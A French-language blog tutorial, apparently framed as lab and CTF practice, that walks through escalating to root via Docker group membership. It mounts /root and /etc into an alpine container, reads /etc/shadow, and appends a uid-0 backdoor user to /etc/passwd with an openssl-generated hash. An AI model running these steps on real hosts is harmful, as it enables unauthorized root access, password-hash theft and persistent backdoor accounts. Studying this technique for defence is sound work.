Hey les amis ! J’espère que vous progressez 😉
Dans un article précédent, je vous ai parlé de » Docker et sa configuration « . Aujourd’hui, je vais vous montrer comment escalader les privilèges Docker pour générer le Shell root.
Introduction et Rappel
En fait, toutes les commandes du docker nécessitent sudo car le docker a besoin de root pour s’exécuter. Le démon Docker fonctionne de telle manière qu’il est autorisé à accéder à l’utilisateur root ou à tout autre utilisateur du groupe docker particulier. Donc l’accès au groupe docker est le même que pour donner un accès root sans mot de passe, intéressant non ?
Préparation du Lab
Si ce n’est pas déjà fait je commence par installer docker. Pour cela, j’ouvre mon terminal sous Linux et je tape la commande suivante :
apt installer docker.io
C’est fait ! afin de terminer la configuration de mon Lab de test je crée un utilisateur local, dit demo comme nom d’utilisateur avec le moins de privilèges et j’ajoute un nouveau groupe « docker » pour demo.
adduser demo
usermod -G docker demo
newgrp docker
Voilà, maintenant tout est prêt !
Exploitation
Depuis ma machine attaquante (Kali Linux), je vais me connecter sur ma cible (Ubuntu Lab de test) en me servant du ssh :
ssh demo@192.168.1.112
id
docker run -v /root:/mnt -it alpine
id
cd mnt/
cat flag.txt
NB : Vous devez créer votre fichier flag au préalable dans votre racine 😉, le contenu n’est pas important vous êtes libres de mettre ce que vous souhaitez !
De plus, un hacker peut monter (mount) d’autres fichiers système pour élever le privilège de l’utilisateur local, comme le fichier passwd ou shadow ou ssh-key.
En essayant de monter le répertoire /etc pour obtenir le fichier shadow ou passwd je pourrai ajouter mon propre utilisateur privilégié. C’est cool non ? Surtout très puissant !
Je vous montre :
docker run -v /etc/:/mnt -it alpine
cd /mnt
cat shadow
Super, ça fonctionne donc je continue.
Donc, vu que j’ai accès au fichier shadow, je peux essayer de casser les hachages dans un premier temps. Par la suite, si je peux écrire dans le fichier passwd, je pourrai ajouter mon propre utilisateur privilégié en générant du sel de mot de passe avec openssl.
Openssl passwd -1 -salt kali
NB : Ne pas oublier de copier le hash dans un fichier à part afin de s’en servir ultérieurement.
À ce stade, je vais essayer d’enregistrer un nouvel utilisateur (avec les privilèges élevés) dans le fichier passwd :
docker run -v /etc/:/mnt -it alpine
cd /mnt
echo ‘kali :$1$kali$wI4zWYgrvFtXW5o1A5Nkr0:0:0::/root:/bin/bash’ >>passwd
tail passwd
exit (pour revenir sur le shell précédent)
La commande tail permet d’afficher les dernières lignes du fichier en question.
Après, toujours depuis le même terminal et en tant que demo je tente de me connecter à kali qui est le nouvel utilisateur ajouté précédemment.
su kali
id
whoami
pwd
Et voilà je suis root, j’ai réussi à escalader les privilèges au plus haut niveau.
Conclusion
C’est la fin de cet article les amis, ces derniers temps je vous ai beaucoup parlé de docker… et je ne pouvais finaliser sans vous montrer l’escalade de privilège et cette vulnérabilité.
A vrai dire j’ai déjà été confronté à cette manipulation durant un CTF et pas qu’une fois, c’est pourquoi je vous invite vivement de vous familiariser avec.
En cas de difficultés ou de problèmes durant la mise en pratique de cet article, veuillez me contacter afin de pouvoir vous guider et solutionner.
See you soon for a new article !! Peace 😉
No responses yet